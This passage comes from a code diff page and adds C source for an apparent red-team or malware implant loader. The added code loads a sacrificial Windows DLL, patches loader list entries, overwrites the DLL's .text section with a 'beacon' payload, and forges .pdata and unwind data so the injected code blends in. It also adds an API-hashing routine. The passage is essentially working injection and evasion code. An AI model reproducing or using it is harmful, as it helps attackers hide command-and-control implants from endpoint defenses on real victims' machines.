PLIST_ENTRY Head = &Ldr->InLoadOrderModuleList;
|
||||
PLIST_ENTRY Cur = Head->Flink;
|
||||
|
||||
PIMAGE_NT_HEADERS Nt = NaxPeHeaders( DllBase );
|
||||
if ( !Nt )
|
||||
return;
|
||||
|
||||
while ( Cur != Head ) {
|
||||
PLDR_DATA_TABLE_ENTRY Entry = (PLDR_DATA_TABLE_ENTRY)Cur;
|
||||
if ( Entry->DllBase == DllBase ) {
|
||||
Entry->EntryPoint = C_PTR( U_PTR( DllBase ) + Nt->OptionalHeader.AddressOfEntryPoint );
|
||||
Entry->Flags |= LDRP_IMAGE_DLL | LDRP_LOAD_NOTIFICATIONS_SENT |
|
||||
LDRP_PROCESS_STATIC_IMPORT | LDRP_ENTRY_PROCESSED;
|
||||
return;
|
||||
}
|
||||
Cur = Cur->Flink;
|
||||
}
|
||||
}
|
||||
|
||||
/* ========= [ stomp beacon into DLL .text ] ========= */
|
||||
|
||||
FUNC PVOID NaxModuleStomp(
|
||||
_In_ PVOID HdrPtr,
|
||||
_In_ PVOID BeaconSrc,
|
||||
_In_ ULONG BeaconSize,
|
||||
_In_ PVOID PdataSrc,
|
||||
_In_ ULONG PdataSize,
|
||||
_In_ PVOID XdataSrc,
|
||||
_In_ ULONG XdataSize,
|
||||
_In_ ULONG OrigTextRva,
|
||||
_In_ PWCHAR DllName ) {
|
||||
STARDUST_INSTANCE
|
||||
|
||||
PVOID DllBase = { 0 };
|
||||
SIZE_T ProtSize = { 0 };
|
||||
ULONG OldProt = { 0 };
|
||||
|
||||
/* ========= [ load sacrificial DLL ] ========= */
|
||||
DllBase = (PVOID)API( LoadLibraryExW )( DllName, NULL, DONT_RESOLVE_DLL_REFERENCES );
|
||||
if ( !DllBase )
|
||||
return NULL;
|
||||
|
||||
NaxPatchLdr( DllBase );
|
||||
Instance()->StompDllBase = DllBase;
|
||||
|
||||
PIMAGE_NT_HEADERS Nt = NaxPeHeaders( DllBase );
|
||||
if ( !Nt )
|
||||
return NULL;
|
||||
|
||||
/* ========= [ find .text section (code, execute) ] ========= */
|
||||
PIMAGE_SECTION_HEADER TextSec = NaxFindSection( Nt, IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE );
|
||||
if ( !TextSec || TextSec->SizeOfRawData < BeaconSize )
|
||||
return NULL;
|
||||
|
||||
PVOID TextBase = C_PTR( U_PTR( DllBase ) + TextSec->VirtualAddress );
|
||||
ULONG DllTextRva = TextSec->VirtualAddress;
|
||||
|
||||
/* ========= [ save clean .text before stomping ] ========= */
|
||||
PVOID CleanTextBuf = API( RtlAllocateHeap )( NtCurrentPeb()->ProcessHeap, 0, TextSec->SizeOfRawData );
|
||||
|
||||
/* ========= [ stomp beacon into .text ] ========= */
|
||||
ProtSize = TextSec->SizeOfRawData;
|
||||
if ( !API( VirtualProtect )( TextBase, ProtSize, PAGE_READWRITE, &OldProt ) )
|
||||
return NULL;
|
||||
|
||||
if ( CleanTextBuf )
|
||||
MmCopy( CleanTextBuf, TextBase, TextSec->SizeOfRawData );
|
||||
|
||||
MmCopy( TextBase, BeaconSrc, BeaconSize );
|
||||
|
||||
/* ========= [ write stomp context tag after beacon code ] ========= */
|
||||
if ( CleanTextBuf && TextSec->SizeOfRawData >= BeaconSize + 4 + sizeof( PVOID ) + sizeof( ULONG ) ) {
|
||||
PBYTE pTag = (PBYTE)TextBase + BeaconSize;
|
||||
ULONG magic = NAX_STOMP_CTX_MAGIC;
|
||||
ULONG cleanSize = TextSec->SizeOfRawData;
|
||||
MmCopy( pTag, &magic, sizeof( ULONG ) );
|
||||
MmCopy( pTag + sizeof( ULONG ), &CleanTextBuf, sizeof( PVOID ) );
|
||||
MmCopy( pTag + sizeof( ULONG ) + sizeof( PVOID ), &cleanSize, sizeof( ULONG ) );
|
||||
}
|
||||
|
||||
ProtSize = TextSec->SizeOfRawData;
|
||||
if ( !API( VirtualProtect )( TextBase, ProtSize, PAGE_EXECUTE_READ, &OldProt ) )
|
||||
return NULL;
|
||||
|
||||
/* ========= [ stomp .pdata with unwind data ] ========= */
|
||||
if ( PdataSize > 0 && XdataSize > 0 ) {
|
||||
PIMAGE_SECTION_HEADER PdataSec = NaxFindSectionByDir( Nt, IMAGE_DIRECTORY_ENTRY_EXCEPTION );
|
||||
if ( PdataSec && PdataSec->SizeOfRawData >= ( PdataSize + XdataSize ) ) {
|
||||
|
||||
PVOID PdataBase = C_PTR( U_PTR( DllBase ) + PdataSec->VirtualAddress );
|
||||
ULONG PdataRva = PdataSec->VirtualAddress;
|
||||
|
||||
ProtSize = PdataSec->SizeOfRawData;
|
||||
if ( API( VirtualProtect )( PdataBase, ProtSize, PAGE_READWRITE, &OldProt ) ) {
|
||||
|
||||
MmCopy( PdataBase, PdataSrc, PdataSize );
|
||||
MmCopy( C_PTR( U_PTR( PdataBase ) + PdataSize ), XdataSrc, XdataSize );
|
||||
|
||||
ULONG XdataRva = PdataRva + PdataSize;
|
||||
ULONG EntryCount = PdataSize / sizeof( RUNTIME_FUNCTION );
|
||||
PRUNTIME_FUNCTION Entries = (PRUNTIME_FUNCTION)PdataBase;
|
||||
|
||||
for ( ULONG i = 0; i < EntryCount; i++ ) {
|
||||
Entries[i].BeginAddress += DllTextRva;
|
||||
Entries[i].EndAddress += DllTextRva;
|
||||
Entries[i].UnwindData += XdataRva;
|
||||
}
|
||||
|
||||
PVOID HdrBase = DllBase;
|
||||
SIZE_T HdrSize = LDR_PAGE_SIZE;
|
||||
ULONG HdrOldPrt = 0;
|
||||
if ( API( VirtualProtect )( HdrBase, HdrSize, PAGE_READWRITE, &HdrOldPrt ) ) {
|
||||
Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress = PdataRva;
|
||||
Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size = PdataSize;
|
||||
API( VirtualProtect )( HdrBase, HdrSize, HdrOldPrt, &HdrOldPrt );
|
||||
}
|
||||
|
||||
ProtSize = PdataSec->SizeOfRawData;
|
||||
API( VirtualProtect )( PdataBase, ProtSize, OldProt, &OldProt );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return TextBase;
|
||||
}
|
||||
|
||||
#endif /* NAX_STOMP_MODULE */
|
||||
@@ -0,0 +1,53 @@
|
||||
#include <Common.h>
|
||||
|
||||
/*!
|
||||
* @brief
|
||||
* Hashing data
|
||||
*
|
||||
* @param String
|
||||
* Data/String to hash
|
||||
*
|
||||
* @param Length
|
||||
* size of data/string to hash.
|
||||
* if 0 then hash data til null terminator is found.
|
||||
*
|
||||
* @return
|
||||
* hash of specified data/string
|
||||
*/
|
||||
FUNC ULONG HashString(
|
||||
_In_ PVOID String,
|
||||
_In_ SIZE_T Length
|
||||
) {
|
||||
ULONG Hash = { 0 };
|
||||
PUCHAR Ptr = { 0 };
|
||||
UCHAR Char = { 0 };
|
||||
|
||||
if ( ! String ) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
Hash = H_MAGIC_KEY;
|
||||
Ptr = ( ( PUCHAR ) String );
|
||||
|
||||
do {
|
||||
Char = *Ptr;
|
||||
|
||||
if ( ! Length ) {
|
||||
if ( ! *Ptr ) break;
|
||||
} else {
|
||||
if ( U_PTR( Ptr - U_PTR( String ) ) >= Length ) break;
|
||||
if ( !*Ptr ) ++Ptr;
|
||||
}
|
||||
|
||||
if ( Char >= 'a' ) {
|
||||
Char -= 0x20;
|
||||
}
|
||||
|
||||
Hash ^= Char;
|
||||
Hash *= H_MAGIC_PRIME;
|
||||
|
||||
++Ptr;
|
||||
} while ( TRUE );
|
||||
|
||||
return Hash;
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user